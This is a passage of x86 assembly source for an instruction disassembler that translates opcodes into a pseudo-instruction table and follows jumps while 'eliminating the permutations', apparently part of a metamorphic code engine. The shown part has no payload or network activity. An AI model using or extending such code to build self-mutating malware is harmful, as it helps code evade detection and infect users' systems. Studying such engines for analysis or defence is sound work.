                cmp     eax, 0F5h       ; CMC?
                jz    @@NOP
                cmp     eax, 0F6h       ; NOT and NEG?
                jz    @@SomeNotVeryCommon8
                cmp     eax, 0F7h
                jz    @@SomeNotVeryCommon32
                cmp     eax, 0FDh   ; One-byters that have not been decoded
                jbe   @@NOP         ; are set as NOP
                cmp     eax, 0FEh       ; INC/DEC Mem8?
                jz    @@INCDECMem8
                cmp     eax, 0FFh       ; INC/DEC/PUSH Mem?
                jz    @@INCDECPUSHMem32
                mov     eax, 0FFh       ; Set NOP if any instruction hasn't
     @@SetOneByteInstruction:           ; fit the conditions above
                mov     [edi], eax

                add     edi, 10h        ; Increase the storadge EIP and the
                inc     esi             ; disassembly EIP by 1
     @@ContinueDissasembly:
                jmp   @@LoopTrace       ; Treat next instruction

;;;; GENERIC OPCODE
; This kind of construction is very common among the opcodes. This is the way
; Intel codes the instructions that uses the Reg,Reg, Mem,Reg and Reg,Mem
; operands. The operations coded under this ones are ADD, OR, ADC, SBB, AND,
; SUB, XOR and CMP.
     @@GenericOpcode:
                and     eax, 7     ; Get the register
                cmp     eax, 3     ; Check the type of instruction. If it's
                jbe   @@Gen_NormalOpcode  ; Mem,Reg, Reg,Mem or Reg,Reg, jump.
                cmp     eax, 4     ; Check if it's an OP with AL
                jz    @@Gen_UsingAL
                cmp     eax, 5     ; Check if it's an OP with EAX
                jz    @@Gen_UsingEAX
                mov     eax, [esi] ; Check if the opcode is 0F, the opcode
                and     eax, 0FFh  ; that is used for some extended operations
                cmp     eax, 0Fh
                jz    @@Opcode0F
                jmp   @@SetOneByteInstruction ; Set the instruction.

        @@Gen_NormalOpcode:
                or      eax, eax   ; Check Mem8,Reg8
                jz    @@Gen_8b_MemReg
                cmp     eax, 1     ; Check Mem,Reg
                jz    @@Gen_32b_MemReg
                cmp     eax, 2     ; Check Reg8,Mem8
                jz    @@Gen_8b_RegMem

        @@Gen_32b_RegMem:
                mov     eax, [esi+1]
                and     eax, 0C0h
                cmp     eax, 0C0h  ; Check Reg,Reg
                jz    @@Gen_32b_ReglReg
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 8Bh         ; Get the opcode
                jnz   @@Gen_32b_RegMem_0 ; If it isn't MOV, jump
                mov     eax, 40h+2       ; Set MOV Reg,Mem
                jmp   @@Gen_GenMem       ; Jump to decode the instruction
        @@Gen_32b_RegMem_0:
                and     eax, 38h         ; Get the operation in pseudo-asm
                add     eax, 2           ; Set the "Reg,Mem" mode
        @@Gen_GenMem:
                mov     edx, [edi]       ; Get the data around the pseudoopcode
                and     edx, 0FFFFFF00h  ; Set the opcode
                and     eax, 0FFh
                add     eax, edx
                mov     [edi], eax
                mov     eax, [esi+1]     ; Get the data of the x86 opcode
                and     eax, 38h         ; Get the register involved
                shr     eax, 3
                mov     [edi+7], eax     ; Store it at +7 in the pseudo-instr.
                mov     edx, esi         ; Set in EDX the offset of the memory
                add     edx, 1           ; construction
                call    DecodeMemoryConstruction ; Decode it
                add     esi, ebx         ; Add the length of the memory field
                add     esi, 1           ; to ESI
                jmp   @@NextInstruction

        @@Gen_32b_MemReg:
                mov     eax, [esi+1]   ; Get the second opcode
                and     eax, 0C0h      ; Check if it's Reg,Reg operation
                cmp     eax, 0C0h
                jz    @@Gen_32b_lRegReg ; If it is, jump to decode it
                mov     eax, [esi]
                and     eax, 0FFh      ; Get the opcode
                cmp     eax, 85h       ; Check if it's TEST
                jnz   @@Gen_32b_MemReg_0
                mov     eax, 48h+3     ; If it is, store a TEST opcode
                jmp   @@Gen_GenMem
        @@Gen_32b_MemReg_0:
;                 cmp     eax, 87h     ; This is XCHG, but we aren't using
;                 jnz   @@Gen_32b_MemReg_1 ; it, so it's disabled.
;                 mov     eax, 48h+6
;                 jmp   @@Gen_GenMem
        @@Gen_32b_MemReg_1:
                cmp     eax, 89h       ; Check if it's MOV Mem,Reg
                jnz   @@Gen_32b_MemReg_2
                mov     eax, 40h+3     ; Set MOV Mem,Reg if it is
                jmp   @@Gen_GenMem
        @@Gen_32b_MemReg_2:
                and     eax, 38h       ; Get the pseudoopcode
                add     eax, 3
                jmp   @@Gen_GenMem     ; Jump to set it and decode the rest

        @@Gen_32b_ReglReg:
                call    GenOp_SetRegReg ; Decode the Reg,Reg instruction
        @@Gen_GenReglReg:
                mov     eax, [esi+1]  ; Get the source register
                and     eax, 7
                mov     [edi+1], eax  ; Set it on the disassembly
                mov     eax, [esi+1]  ; Get the destiny register and set it
                and     eax, 38h
                shr     eax, 3
                mov     [edi+7], eax
                add     esi, 2
                jmp   @@NextInstruction

        @@Gen_32b_lRegReg:
                call    GenOp_SetRegReg ; Decode the Reg,Reg instruction
        @@Gen_GenlRegReg:
                mov     eax, [esi+1]  ; Get the registers and store them in
                and     eax, 7        ; their appropiated fields
                mov     [edi+7], eax
                mov     eax, [esi+1]
                and     eax, 38h
                shr     eax, 3
                mov     [edi+1], eax
                add     esi, 2
                jmp   @@NextInstruction

        @@Gen_8b_RegMem:
                mov     eax, [esi+1]   ; Get the OP Reg,Mem
                and     eax, 0C0h
                cmp     eax, 0C0h      ; Check first if it's OP Reg,Reg
                jz    @@Gen_8b_ReglReg ; If it is, jump
                mov     eax, [esi]
                and     eax, 0FFh
                cmp     eax, 8Ah       ; MOV Reg8,Mem8?
                jnz   @@Gen_8b_RegMem_0
                mov     eax, 40h+82h   ; Set MOV Reg8,Mem8
                jmp   @@Gen_GenMem     ; Jump to decode the memory address
        @@Gen_8b_RegMem_0:
                and     eax, 38h
                add     eax, 82h       ; Get the operation and set it
                jmp   @@Gen_GenMem

        @@Gen_8b_MemReg:
                mov     eax, [esi+1]   ; Get the operation
                and     eax, 0C0h      ; Check if it's OP Mem,Reg
                cmp     eax, 0C0h
                jz    @@Gen_8b_lRegReg ; If it is, jump
                mov     eax, [esi]
                and     eax, 0FFh      ; Get the opcode
                cmp     eax, 84h       ; If it's TEST...
                jnz   @@Gen_8b_MemReg_0
                mov     eax, 48h+83h   ; ...set it
                jmp   @@Gen_GenMem
        @@Gen_8b_MemReg_0:
;                 cmp     eax, 86h     ; This is XCHG 8 bits, but it's disabled
;                 jnz   @@Gen_8b_MemReg_1 ; because we don't use this type of
;                 mov     eax, 48h+86h    ; instructions
;                 jmp   @@Gen_GenMem
        @@Gen_8b_MemReg_1:
                cmp     eax, 88h       ; Check if it's MOV Mem,Reg
                jnz   @@Gen_8b_MemReg_2
                mov     eax, 40h+83h   ; Set it if it's MOV Mem,Reg
                jmp   @@Gen_GenMem
        @@Gen_8b_MemReg_2:
                and     eax, 38h       ; Get the OP
                add     eax, 83h
                jmp   @@Gen_GenMem     ; Set it and jump to decode the memory
                                       ; reference

        @@Gen_8b_lRegReg:
                call    GenOp_SetRegReg ; Decode the OP Reg8,Reg8 opcode
                mov     eax, [edi]      ; Set the 8 bits operation
                add     eax, 80h
                mov     [edi], eax
                jmp   @@Gen_GenlRegReg  ; Decode the rest of the instruction

        @@Gen_8b_ReglReg:
                call    GenOp_SetRegReg ; Decode the OP Reg8,Reg8
                mov     eax, [edi]      ; Set 8 bits instruction
                add     eax, 80h
                mov     [edi], eax
                jmp   @@Gen_GenReglReg  ; Decode the rest of the instruction

        @@Gen_UsingAL:
                mov     eax, [esi]    ; Get the operation
                and     eax, 38h
                add     eax, 80h
                mov     edx, [edi]    ; Set the opcode
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi], eax
                xor     eax, eax
                mov     eax, [esi+1]  ; Get the Imm
                and     eax, 0FFh     ; Extend the sign
                cmp     eax, 7Fh
                jbe   @@Gen_UsingAL_01
                add     eax, 0FFFFFF00h
          @@Gen_UsingAL_01:
                add     esi, 2        ; Increase EIP and set the value
                jmp   @@Gen_SetValue

        @@Gen_UsingEAX:
                mov     eax, [esi]    ; Get the instruction
                and     eax, 38h
                mov     edx, [edi]    ; Set the opcode
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi], eax
                mov     eax, [esi+1]  ; Set the value
                add     esi, 5

        @@Gen_SetValue:
                mov     [edi+7], eax
                xor     eax, eax      ; Set the register (EAX)
                mov     [edi+1], eax
                jmp   @@NextInstruction


;;;; INC Reg

    @@Op_INC:   and     eax, 7        ; Get the register of the INC
                mov     [edi+1], eax  ; Set it
                xor     eax, eax      ; Pseudoopcode (ADD)
                jmp   @@Op_GenINCDEC

;;;; DEC Reg

    @@Op_DEC:   and     eax, 7        ; Get the register of the DEC
                mov     [edi+1], eax  ; Set it
                mov     eax, 28h      ; Pseudoopcode (SUB)
         @@Op_GenINCDEC:
                mov     edx, [edi]    ; Set the pseudoopcode
                and     edx, 0FFFFFF00h
                and     eax, 0FFh
                add     eax, edx
                mov     [edi], eax
                mov     eax, 1        ; Set the value of addition/subtraction
                mov     [edi+7], eax
                add     esi, 1        ; Increase the EIP
                jmp   @@NextInstruction

;;;; PUSH Reg & POP Reg

  @@Op_PUSHPOP: and     eax, 7        ; Get the register of the opcode
                mov     [edi+1], eax  ; Set it
                mov     eax, [esi]
                and     eax, 58h      ; Get the instruction (PUSH or POP)
                mov     edx, [edi]
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi], eax   ; Set it
                add     esi, 1
                jmp   @@NextInstruction

;;;; PUSH Value

  @@Op_PUSHValue:
                mov     [edi], eax   ; Set the opcode
                mov     eax, [esi+1] ; Get the value
                mov     [edi+7], eax
                add     esi, 5       ; Add the length of the instr. to the EIP
                jmp   @@NextInstruction

;;;; PUSH SignedValue

  @@Op_PUSHSignedValue:
                mov     eax, 68h     ; Set the opcode 68h
                mov     [edi], eax
                mov     eax, [esi+1] ; Get the value to PUSH
                and     eax, 0FFh    ; Extend the sign
                cmp     eax, 7Fh
                jbe   @@Op_PUSHSignedValue_01
                add     eax, 0FFFFFF00h
                ;movsx   eax, byte ptr [esi+1]
         @@Op_PUSHSignedValue_01:
                mov     [edi+7], eax ; Set the value
                add     esi, 2       ; Increase the EIP
                jmp   @@NextInstruction


;;;; GENERIC OPCODE (2nd part)
;; This opcodes are the 80h-83h ones, which are used for "OP [Mem],Value" or
;; "OP Reg,Value". Moreover, opcodes 84-85 are also decoded here (the ones that
;; make TEST).
      @@GenericOpcode2:
                and     eax, 1     ; Get if it's a 8 bits or 32 bits operation
                or      eax, eax
                jz    @@Gen2_8b    ; Jump if it's 8 bits
      @@Gen2_32b:
                mov     eax, [esi+1]    ; Get the operation performed
                and     eax, 38h
                mov     edx, [edi]      ; Set it as pseudoopcode
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi], eax
                mov     eax, [esi]
                and     eax, 2          ; Get if the operation uses a DWORD or
                or      eax, eax        ; a sign-extended byte
                jnz   @@Gen2_Gen_Signed
      @@Gen32Value:
                mov     eax, [esi+1]    ; Get it we use Reg,Reg
                and     eax, 0C0h
                cmp     eax, 0C0h
                jz    @@Gen2_32b_Register
                mov     eax, [edi]      ; Get the opcode
                add     eax, 4          ; Set OP Mem,Imm
                mov     [edi], eax
                mov     edx, esi        ; Decode the memory construction
                add     edx, 1
                call    DecodeMemoryConstruction
                add     esi, ebx        ; Add the length of the rest of the
                mov     eax, [esi+1]    ; instruction to get the value OPed
                sub     esi, ebx        ; Subtract it because later we'll add
                add     esi, 3          ; it again.
                jmp   @@Gen2_Gen_Memory

      @@Gen2_32b_Register:
                mov     eax, [esi+2]    ; Get the value
                mov     [edi+7], eax    ; Set it
                mov     eax, [esi+1]    ; Get the operation opcode
                add     esi, 6          ; Add the length of the instruction
                jmp   @@Gen2_Gen_Register

      @@Gen2_8b:
                mov     eax, [esi+1]    ; Get the 2nd opcode
                and     eax, 38h        ; Extract the operation and set it as
                add     eax, 80h        ;  a 8 bits pseudooperation.
                mov     edx, [edi]      ; Set it
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi], eax
      @@Gen2_Gen_Signed:
      @@Gen8Value:
                mov     eax, [esi+1]    ; Get the 2nd opcode
                and     eax, 0C0h
                cmp     eax, 0C0h       ; If we use a register, jump
                jz    @@Gen2_8b_Register
                mov     eax, [edi]      ; Set "Mem" usage
                add     eax, 4
                mov     [edi], eax
                mov     edx, esi        ; Decode the memory address
                add     edx, 1
                call    DecodeMemoryConstruction
                xor     eax, eax        ; Get the Imm of the operation in EAX
                add     esi, ebx
                mov     eax, [esi+1]
                sub     esi, ebx
                and     eax, 0FFh
                cmp     eax, 7Fh
                jbe   @@Gen8Value_01
                add     eax, 0FFFFFF00h
          @@Gen8Value_01:

      @@Gen2_Gen_Memory:
                mov     [edi+7], eax    ; Set it in the pseudoinstruction
                add     esi, ebx
                add     esi, 2          ; Increase EIP and decode the next
                jmp   @@NextInstruction ; instruction.

      @@Gen2_8b_Register:
                mov     eax, [esi+2]    ; Get the Imm and extend the sign
                and     eax, 0FFh
                cmp     eax, 7Fh
                jbe   @@Gen2_8b_Register_01
                add     eax, 0FFFFFF00h
         @@Gen2_8b_Register_01:
                mov     [edi+7], eax    ; Set it in the pseudo-instruction
                mov     eax, [esi+1]    ; Get the 2nd opcode
                add     esi, 3          ; Add the length of the instruction
      @@Gen2_Gen_Register:              ; to EIP
                and     eax, 7          ; Get the register of the instruction
                mov     edx, [edi+1]
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi+1], eax    ; Set the register
                jmp   @@NextInstruction ; Decode the next instruction


;;;; LEA decoding

     @@LEA:     mov     eax, 0FCh      ; Set the pseudoopcode of LEA
                mov     [edi], eax
                mov     edx, esi
                add     edx, 1         ; Decode the memory address
                call    DecodeMemoryConstruction
                mov     eax, [esi+1]
                and     eax, 38h       ; Get the destiny register and set it
                shr     eax, 3
                mov     [edi+7], eax
                add     esi, ebx
                add     esi, 1          ; Add the length of the instruction to
                jmp   @@NextInstruction ; the EIP.

;;;; POP Mem decoding

     @@POPMem:  mov     eax, [esi+1]  ; Get the operand
                and     eax, 0C0h     ; Get if we use reg or memory address
                cmp     eax, 0C0h
                jz    @@POPMem_butReg
                mov     eax, 59h      ; If we use a memory address, set the
                mov     [edi], eax    ; opcode and decode the memory address
                mov     edx, esi
                add     edx, 1
                call    DecodeMemoryConstruction
                add     esi, ebx
                add     esi, 1
                jmp   @@NextInstruction
     @@POPMem_butReg:                 ; If it uses a register, set it
                mov     eax, [esi+1]
                and     eax, 7
                mov     [edi+1], eax
                mov     eax, 58h      ; Set the opcode
                mov     edx, [edi]
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi], eax
                add     esi, 2
                jmp   @@NextInstruction

;;;; XCHG With EAX:
;; Disabled since we aren't coding XCHG

;      @@XCHGWithEAX:
;                 mov     al, [esi]
;                 add     esi, 1
;                 cmp     eax, 90h
;                 jz    @@NOP
;                 and     eax, 7
;                 mov     [edi+1], al
;                 mov     eax, 48h+5
;                 mov     [edi], al
;                 xor     eax, eax
;                 mov     [edi+7], eax
;                 jmp   @@NextInstruction

;; NOP instruction

     @@NOP:     mov     eax, 0FFh  ; Set the NOP pseudoopcode
                mov     [edi], eax
                add     esi, 1
                jmp   @@NextInstruction

;;;; MOV AL/EAX,Mem
; This one is also disabled, because we doesn't have direct memory operations
; to disassemble.
;      @@MOVALMem:
;                 mov     eax, 0C2h
;      @@MOVxAxMem:
;                 mov     [edi], eax
;                 mov     eax, 8
;                 mov     [edi+1], eax
;                 mov     [edi+2], eax
;                 xor     eax, eax
;                 mov     [edi+7], eax
;                 mov     eax, [esi+1]
;                 mov     [edi+3], eax
;                 add     esi, 5
;                 jmp   @@NextInstruction
;      @@MOVEAXMem:
;                 mov     eax, 42h
;                 jmp   @@MOVxAxMem

;;;; MOV Mem,AL/EAX

;      @@MOVMemAL:
;                 mov     eax, 0C3h
;                 jmp   @@MOVxAxMem
;      @@MOVMemEAX:
;                 mov     eax, 43h
;                 jmp   @@MOVxAxMem

;;;; TEST AL,Value decodification

     @@TESTALValue:
                mov     eax, [esi+1]  ; Get the value
                and     eax, 0FFh
                mov     ecx, eax      ; Put it in ECX
                mov     eax, 0C8h     ; Put the pseudoopcode in EAX
                add     esi, 2
     @@TESTxAxValue:
                mov     [edi], eax    ; Set the pseudoopcode
                xor     eax, eax      ; Set the register
                mov     [edi+1], eax
                mov     [edi+7], ecx  ; Set the value
                jmp   @@NextInstruction

;;;; TEST EAX,Value

     @@TESTEAXValue:
                mov     ecx, [esi+1]  ; Get the Imm in ECX
                mov     eax, 48h      ; 48h = TEST pseudoopcode
                add     esi, 5        ; Increase the EIP
                jmp   @@TESTxAxValue

;;;; MOV Reg,Value decodification

     @@MOVRegValue:
                mov     eax, 40h      ; 40h = MOV pseudoopcode
                mov     [edi], eax
                mov     ecx, [esi+1]  ; Get the value in ECX
                mov     eax, [esi]
                add     esi, 5
     @@MOVRegValue_Common:
                and     eax, 7        ; Get the register in EAX
                mov     [edi+1], eax  ; Set the register
                mov     [edi+7], ecx  ; Set the value
                jmp   @@NextInstruction
     @@MOVReg8Value:
                mov     eax, 0C0h
                mov     [edi], eax    ; C0 = MOV 8 bits
                mov     eax, [esi+1]  ; Get the Imm to move
                and     eax, 0FFh
                mov     ecx, eax
                mov     eax, [esi]    ; Get the opcode to extract the register
                add     esi, 2
                jmp   @@MOVRegValue_Common

;;;; ROL/ROR/etc. decodification

      @@BitShifting32:
                mov     eax, 0F0h     ; Pseudoopcode SHIFT
      @@BitShifting_Common:
                mov     [edi], eax    ; Set the pseudoopcode
                mov     eax, [esi+1]  ; Get the 2nd opcode
                and     eax, 38h      ; Extract the operation
                mov     edx, [edi+8]  ; Set it at +8 in the instruction
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi+8], eax
                mov     eax, [esi+1]  ; Get the operand type
                and     eax, 0C0h
                cmp     eax, 0C0h
                jz    @@BS32_Reg      ; If it's a Reg, jump
                mov     eax, [edi]
                add     eax, 1
                mov     [edi], eax    ; Set SHIFT Mem,x
                mov     edx, esi
                add     edx, 1        ; Decode the memory operand
                call    DecodeMemoryConstruction
       @@BS32_Common:
                mov     eax, [esi]    ; Get the opcode
                and     eax, 0FFh
                cmp     eax, 0D0h     ; Check if it's SHIFT,1 or SHIFT,x
                jb    @@BS32_GetNumber ; If it's ,x jump
                mov     eax, 1        ; Set 1 as shifting value
                sub     esi, 1
                jmp   @@BS32_SetNumber
       @@BS32_GetNumber:
                add     esi, ebx      ; Get the value of shifting
                mov     eax, [esi+1]
                sub     esi, ebx
       @@BS32_SetNumber:
                and     eax, 1Fh      ; Trim the bits ignored implicitly
                mov     edx, [edi+7]  ; Set the shifting value (byte) at +7
                and     edx, 0FFFFFF00h  ; in the disassembly of the instr.
                add     eax, edx
                mov     [edi+7], eax
                add     esi, ebx
                add     esi, 2
                jmp   @@NextInstruction
       @@BS32_Reg:
                mov     eax, [esi+1]  ; Get the register
                and     eax, 7
                mov     [edi+1], eax  ; Set it
                mov     ebx, 1        ; Jump to finish the decoding
                jmp   @@BS32_Common

       @@BitShifting8:
                mov     eax, 0F2h     ; Set SHIFT8
                jmp   @@BitShifting_Common

;;;; MOV [Mem8],Value (or MOV Reg8,Value) decoding (opcode C6)

       @@MOVMem8Value:
                mov     eax, 0C4h     ; Set the opcode as MOV Mem8,xxx
                mov     [edi], eax
                mov     eax, [esi+1]  ; Get the 2nd opcode
                and     eax, 0C0h     ; Register or memory address?
                cmp     eax, 0C0h
                jz    @@MOVMem8_RegValue  ; If register, jump
                mov     edx, esi
                add     edx, 1        ; Decode the memory address
                call    DecodeMemoryConstruction
                add     esi, ebx      ; Add the length of the operand
                add     esi, 1
       @@MOVMem8Value_Common:
                mov     eax, [esi]    ; Get the value we are moving
                and     eax, 0FFh     ; Extend the sign
                cmp     eax, 7Fh
                jbe   @@MOVMem8Value_01
                add     eax, 0FFFFFF00h
          @@MOVMem8Value_01:
                mov     [edi+7], eax  ; Set it in the pseudoinstruction
                add     esi, 1
                jmp   @@NextInstruction
       @@MOVMem8_RegValue:
                mov     eax, 0C0h     ; C0 = MOV Reg8,Imm
                mov     [edi], eax    ; Set the pseudoopcode
                mov     eax, [esi+1]
                and     eax, 7
                mov     [edi+1], eax  ; Set the register
                add     esi, 2
                jmp   @@MOVMem8Value_Common ; Jump to finish the decoding

;;;; MOV [Mem32],Value (or MOV Reg32,Value) decoding (opcode C7)

       @@MOVMem32Value:
                mov     eax, 44h      ; 44h = MOV Mem,Imm (in our assembler)
                mov     [edi], eax    ; Set the pseudoopcode
                mov     eax, [esi+1]  ; Get the 2nd opcode
                and     eax, 0C0h
                cmp     eax, 0C0h     ; Memory address or register?
                jz    @@MOVMem32_RegValue  ; Jump if it's register
                mov     edx, esi
                add     edx, 1        ; Decode the memory address
                call    DecodeMemoryConstruction
                add     esi, ebx      ; Add the operand length
                add     esi, 1
                mov     eax, [esi]    ; Get the Imm to move
                mov     [edi+7], eax  ; Set it in the disassembly
                add     esi, 4        ; Increase the EIP
                jmp   @@NextInstruction
      @@MOVMem32_RegValue:
                mov     eax, 40h      ; 40h = MOV Reg32,Imm32
                mov     [edi], eax    ; Set the pseudoopcode
                mov     eax, [esi+1]
                and     eax, 7
                mov     [edi+1], eax  ; Get the register and set it
                mov     eax, [esi+2]  ; Get the immediate value and set it
                mov     [edi+7], eax
                add     esi, 6        ; Add the instruction length to the EIP
                jmp   @@NextInstruction

;;;; Some not very common instructions
;; Opcodes F6 and F7 are used for TEST, NOT, NEG, MUL, IMUL, DIV and IDIV.
;; Since MUL and up aren't used by us, we only decode TEST, NOT and NEG.
    @@SomeNotVeryCommon8:
                mov     eax, [esi+1]  ; Get the operation
                and     eax, 38h
                or      eax, eax      ; 0 is TEST
                jz    @@TEST8Value
                shr     eax, 1        ; If it's not TEST, it is NOT or NEG
                add     eax, 0DAh     ; EAX = E2/E6
    @@SNVC_Gen: mov     [edi], eax    ; Set the opcode
                mov     eax, [esi+1]  ; Check if we use register or memory
                and     eax, 0C0h
                cmp     eax, 0C0h
                jz    @@NOTNEGReg8    ; If register, jump
                mov     eax, [edi]    ; Set memory usage
                add     eax, 1
                mov     [edi], eax
                mov     edx, esi      ; Decode the memory address operand
                add     edx, 1
                call    DecodeMemoryConstruction
                add     esi, ebx      ; Add the length of the operand
                add     esi, 1
                jmp   @@NextInstruction
    @@NOTNEGReg8:
                mov     eax, [esi+1]  ; Get the register involved
                and     eax, 7
                mov     edx, [edi+1]
                and     edx, 0FFFFFF00h
                add     eax, edx
                mov     [edi+1], eax  ; Set it
                add     esi, 2        ; Increase the EIP
                jmp   @@NextInstruction

    @@SomeNotVeryCommon32:
                mov     eax, [esi+1]  ; Get the operation
                and     eax, 38h
                or      eax, eax      ; If it's TEST, jump to disasm it
                jz    @@TEST32Value
                shr     eax, 1
                add     eax, 0D8h     ; E0/E4
                jmp   @@SNVC_Gen      ; Jump to decode the rest of the instr.

    @@TEST8Value:
                mov     eax, 0C8h     ; Set TEST 8 bits opcode
                mov     [edi], eax
                jmp   @@Gen8Value     ; Jump to decode the rest

    @@TEST32Value:
                mov     eax, 48h      ; Set TEST 32 bits opcope
                mov     [edi], eax
                jmp   @@Gen32Value    ; Jump to decode the rest

;;;; INC Mem, DEC Mem, CALL Mem, JMP Mem & PUSH Mem disassembly

    @@INCDECMem8:
                mov     eax, [esi+1]  ; Get the operation
                and     eax, 38h
                or      eax, eax      ; INC?
                jz    @@INCMem8       ; Then, jump
    @@DECMem8:  mov     eax, 0ACh     ; ACh = Opcode of SUB Mem8,Imm8
      @@INCDECMem8_Next:
                mov     [edi], eax    ; Set the opcode
                mov     eax, [esi+1]  ; Get the type of operand
                and     eax, 0C0h
                cmp     eax, 0C0h     ; If we use a register operand, jump
                jz    @@INCDECReg8
      @@INCDECPUSH_Gen:
                mov     edx, esi      ; Here if we use INC/DEC/PUSH Mem
                add     edx, 1        ; Decode the memory operand
                call    DecodeMemoryConstruction
                add     esi, ebx
                add     esi, 1
                mov     eax, 1        ; We insert a 1 as a Imm even if it's 
                mov     [edi+7], eax  ; PUSH, JMP or CALL, since we will
                                      ; ignore this field for them
                mov     eax, [edi]
                and     eax, 0FFh
                cmp     eax, 0EBh     ; Did we decode JMP DWORD PTR [xxx]?
                jnz   @@NextInstruction  ; Then, get a new EIP (treat it as
                                         ; a RET)
                add     edi, 10h      ; Increase the storadge EIP and get a
                jmp   @@GetEIPFromFutureLabelList ; new disassembly EIP (ESI)
    @@INCDECReg8:
                mov     eax, [edi]    ; Get the opcode
                sub     eax, 4        ; Convert it to OP Reg
                mov     [edi], eax
                mov     eax, [esi+1]  ; Get the register
                and     eax, 7
                mov     [edi+1], eax  ; Set it in the instruction
                mov     eax, 1        ; Set "1" value for addition and
                mov     [edi+7], eax  ; subtraction
                add     esi, 2
                jmp   @@NextInstruction
    @@INCMem8:  mov     eax, 84h      ; Set ADD Mem8,Imm8
                jmp   @@INCDECMem8_Next

;; Opcode FF: INC Mem, DEC Mem, CALL Mem, JMP Mem and PUSH Mem (32 bits)

    @@INCDECPUSHMem32:
                mov     eax, [esi+1]  ; Get the operand type
                and     eax, 38h
                or      eax, eax      ; INC?
                jz    @@INCMem32
                cmp     eax, 08h      ; DEC?
                jz    @@DECMem32
                cmp     eax, 10h      ; CALL?
                jz    @@CALLMem32
                cmp     eax, 20h      ; JMP?
                jz    @@JMPMem32
       @@PUSHMem32:
                mov     eax, [esi+1]  ; Decode PUSH. Look if it uses a reg.
                and     eax, 0C0h     ; or a memory address
                cmp     eax, 0C0h
                jz    @@PUSHMem32_Reg
                mov     eax, 51h      ; EAX = 51h, pseudoopcode of PUSH Mem
                mov     [edi], eax
                jmp   @@INCDECPUSH_Gen
       @@PUSHMem32_Reg:
                mov     eax, 50h      ; 50h = Opcode of PUSH Reg
       @@INCDECPUSH_GenMem32_Reg:
                mov     [edi], eax    ; Set the opcode
                mov     eax, [esi+1]  ; Get the operand register
                and     eax, 7
                mov     [edi+1], eax
                mov     eax, 1        ; Set "1" as immediate value (for INCs
                mov     [edi+7], eax  ; and DECs, and ignored for the others)
                add     esi, 2
                mov     eax, [edi]    ; Get the opcopde
                and     eax, 0FFh
                cmp     eax, 0EDh     ; Did we decode JMP Reg?
                jnz   @@NextInstruction
                add     edi, 10h      ; If so, treat it as a RET
                jmp   @@GetEIPFromFutureLabelList

       ;; Here if we decoded INC
       @@INCMem32:
                mov     eax, [esi+1]  ; Get the opcode
                and     eax, 0C0h     ; Check if it uses a register or a
                cmp     eax, 0C0h     ; memory address as operand
                jz    @@INCReg32
                mov     eax, 4        ; If Mem, set ADD Mem,Imm
                jmp   @@INCDECMem8_Next
       @@INCReg32:
                xor     eax, eax      ; If Reg, set ADD Reg,Imm
                jmp   @@INCDECPUSH_GenMem32_Reg

       ;; Here if we decoded DEC
       @@DECMem32:
                mov     eax, [esi+1]  ; Get if it uses a memory address or
                and     eax, 0C0h     ; a register
                cmp     eax, 0C0h
                jz    @@DECReg32
                mov     eax, 2Ch      ; Set SUB Mem,Imm
                jmp   @@INCDECMem8_Next
       @@DECReg32:
                mov     eax, 28h      ; Set SUB Reg,Imm
                jmp   @@INCDECPUSH_GenMem32_Reg

       ;; Here if we decoded CALL Mem (or CALL Reg)
       @@CALLMem32:
                mov     eax, [esi+1]
                and     eax, 0C0h     ; Get the type of operand
                cmp     eax, 0C0h
                jz    @@CALLMem32_Reg
                mov     eax, 0EAh     ; Set CALL Mem
                mov     [edi], eax
                jmp   @@INCDECPUSH_Gen
       @@CALLMem32_Reg:
                mov     eax, 0ECh     ; Normally APIs
                jmp   @@INCDECPUSH_GenMem32_Reg
       @@JMPMem32:
                mov     eax, [esi+1]
                and     eax, 0C0h
                cmp     eax, 0C0h
                jz    @@JMPMem32_Reg
                mov     eax, 0EBh    ; Normally to simulate RET, so treat it
                mov     [edi], eax   ; as a RET (after decoding)
                jmp   @@INCDECPUSH_Gen
       @@JMPMem32_Reg:
                mov     eax, 0EDh    ; Treat it also as a RET (coz it's a jump
                jmp   @@INCDECPUSH_GenMem32_Reg ; with undefined destiny)

     @@NextInstruction:
                add     edi, 10h     ; Increase storadge EIP
                jmp   @@ContinueDissasembly

;;;; RET disassembly

     @@RET:     mov     eax, 0FEh   ; Insert the opcode
                mov     [edi], eax
                inc     esi
                add     edi, 10h    ; Increase the storing EIP and get a new
                jmp   @@GetEIPFromFutureLabelList ; EIP for ESI. If there
                                                  ; aren't more, finish.

;;;; JMP SHORT

     @@JMP8:    mov     eax, [esi+1] ; Get the displacement
                and     eax, 0FFh
                cmp     eax, 7Fh
                jbe   @@JMP8_01
                add     eax, 0FFFFFF00h
          @@JMP8_01:
                add     eax, 2       ; Add the length of the instruction to
                add     eax, esi     ; the read EIP
                jmp   @@JMP_Next01

;;;; JMP LONG
     @@JMP:     mov     eax, [esi+1] ; Get the displacement
                add     eax, 5
                add     eax, esi

;; The jump is stored as 0E9h,dd IndexOnLabelTable. By this way, if we change
;; the offset of the label, we only have to update the address at the table,
;; and all the references are automatically updated.
     @@JMP_Next01:
                mov     ebx, [ebp+InstructionTable]
                cmp     ebx, edi
                jz    @@NoInstructions
           @@FindDestinyInTable:
                cmp     [ebx+0Ch], eax  ; Check with the pointer to the real
                jz    @@SetLabel        ; instruction, and set label if we
                                        ; found it.
                add     ebx, 10h
                cmp     ebx, edi
                jnz   @@FindDestinyInTable
       @@NoInstructions:
                mov     ecx, 0FFh       ; Set a NOP if we didn't disassembled
                mov     [edi], ecx      ; yet the instruction. So, change the
                add     edi, 10h        ; read EIP (at ESI) directly without
                mov     esi, eax        ; inserting the jump. In this way,
                jmp   @@LoopTrace       ; the disassembling is automatically
                                        ; eliminating the permutations.
       @@SetLabel:
                mov     ecx, 0E9h       ; Set JMP pseudoopcode
                mov     [edi], ecx
                mov     edx, esi        ; Set the new pointer
                mov     [edi+0Ch], edx
                add     edi, 10h
                push    eax
                mov     eax, [esi]      ; Get the instruction
                and     eax, 0FFh
